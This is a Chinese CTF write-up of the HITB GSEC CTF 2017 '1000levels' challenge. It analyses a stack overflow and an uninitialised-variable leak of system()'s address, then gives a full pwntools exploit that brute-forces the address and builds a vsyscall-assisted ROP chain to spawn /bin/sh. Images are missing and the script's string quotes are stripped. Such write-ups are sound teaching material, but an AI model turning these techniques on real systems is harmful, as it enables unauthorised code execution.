1. 程式人生 > >【HITB GSEC CTF 2017】1000levels

【HITB GSEC CTF 2017】1000levels

image 運算 位置 步驟 pri 循環 imp 隨機化 .html

https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz

#通過閱讀天樞戰隊大佬們的wp調試的結果

首先查看一下該elf文件的保護情況:

技術分享

是64位程序,有PIE、NX保護,沒有canary保護,懷疑是棧溢出類型。

開始尋找溢出點,通過閱讀ida得到的代碼,大致分析一下文件含義:

main:

main函數比較簡單,邏輯很明顯,有兩個貌似有用的函數,hint()、go()。不斷在這兩個函數中循環。

技術分享

先看hint:

hint:

如果show_hint為1.則提示system函數的地址。show_hint位於bss段。難道是福利?

技術分享

想多了= =。因為具有PIE保護,所以BSS段的地址也是隨機的,而且還沒找到可以任意的漏洞,暫時丟在這裏。

技術分享

但從C代碼看不出什麽,可以看一下匯編代碼,

技術分享

可以看到,雖然show_hint標識為0,但棧內仍然有這個system的地址(這很重要)

接下來看go函數:

go函數中有點問題,可以看到v5是沒有賦初值的。當v2<=0時,v5就是臟數據了。 //這是第二點

技術分享

技術分享

進入hint函數:

hint函數中可以看得到一個明顯的棧溢出, buf變量是8字節,而輸入是400u,可以溢出覆蓋很長一段空間,猜測這也就是可以利用的溢出漏洞。

技術分享

綜上,程序分析結束,找到溢出漏洞一處,思路就可以是利用shellcode或者rop技術來執行命令。

因為有NX保護存在所以只能用ROP來利用漏洞,對rop的長度沒有限制,但是,由於ASLR和PIE的存在導致無法直接獲得system函數的地址,幸虧有hint這樣一個函數。

從上文可以看到,在hint函數中,system的地址防止在rbp-110這樣的位置:

技術分享

而我們找到的臟數據使用v5恰巧也是是定義在這個位置

技術分享

因此,當第一次輸入為0時,v5就是system的地址。通過這個地址,可以爆破得到system的地址。

想法是這樣的:

猜測system第地址為i時,如果輸入-i,當i>system的地址時,得到的v6<0會輸出coward字樣,按位猜解從高位到低位就可以順次找到各位的system值。

要爆破幾位呢?

通過其他技術博客:http://www.cnblogs.com/wangaohui/p/7122653.html

知道,aslr的作用原理是這樣的:

函數加載與mmap相同

mmap隨機的位數由mmap_rnd_bits表示,在64位下是28比特,經過計算在64位平臺下mmap的基地址是:page_align(0x7ffbf8000000-rand),而其中的rand在是28比特的數字左移12位。當mmap的基地址確定後,在各個系統中,程序運行起來時各個模塊(不包括pie程序的主模塊、但包括各個動態鏈接庫)與mmap的基地址的偏移是固定的,因此這些模塊加載地址的隨機化也在28比特。

因此rand是 xxxxxxx000這樣的,而使用了減法,因此影響了system地址中間8*4的地址值,故簡單的可爆破8*4bit

而當爆破某位時,當小於system地址時,需要進行1000次的運算,在運算中由於存在棧溢出漏洞,可以覆蓋預期結果的地址,因此很簡單。

當運算999次後,會停止運算並退出,如果退出,再次進入時就失效了,因此必須通過溢出覆蓋返回地址,強行使程序恢復到程序開頭。

棧地址中恰巧存在start函數地址,因此可以使用它來返回函數的初始狀態。

但由於程序開啟了PIE保護,無法從elf文件中直接跳轉至main函數或尋找gadget,因此想到使用vsyscall來充當gadget(這部分在系統中地址始終不變。)

通過如上步驟就可以爆破出system地址,再由libc可以找到libc中“/bin/sh”的地址。

最後使用ROPgadget找到一個在libc中“pop rdi , ret”作為傳參gadget就可以利用棧溢出漏洞,來使用rop進行命令執行了:

技術分享

附上exp:

from pwn import *

p = process(./1000levels)


debug = 0
if debug:
    context.log_level = debug
def hint():
    p.sendlineafter(Choice:,2)

def go(first,more):
    p.sendlineafter(Choice:,1)
    p.sendlineafter(levels?,str(first))
    p.sendlineafter(more?\n,str(more))

def calc(num):
    p.recvuntil(Answer:)
    p.send(num)

def leak():
    
    start = 0x700000000390
    for i in range(10,2,-1):
        for j in range(15,-1,-1):
            hint()
            addr_test = (1 << (i*4) )* j + start
            go(0,-addr_test)
            a = p.recvline()
            #print hex(addr_test)
            if Coward not in a:
                start = addr_test

                log.info(check + hex(addr_test))
                break
        pro = log.progress(go)
        for i in range(999):
            pro.status(level %d%(i+1))
            calc(p64(0)*5)
        calc(p64(0xffffffffff600400)*35)
        pro.success(ok)
    return start + 0x1000

if debug:
    gdb.attach(p)

#go(1,0)


#
system_addr = leak()
print [+] get system addr:, hex(system_addr)
libc = ELF(./libc.so)
system_addr_libc = libc.symbols[system]
bin_sh_addr_libc = next(libc.search(/bin/sh))

bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc

gadget = system_addr - system_addr_libc + 0x21102

payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)

go(1,0)
exp = a*0x38 + payload
calc(exp)

p.interactive()

最後,膜拜大佬們的思路。

【HITB GSEC CTF 2017】1000levels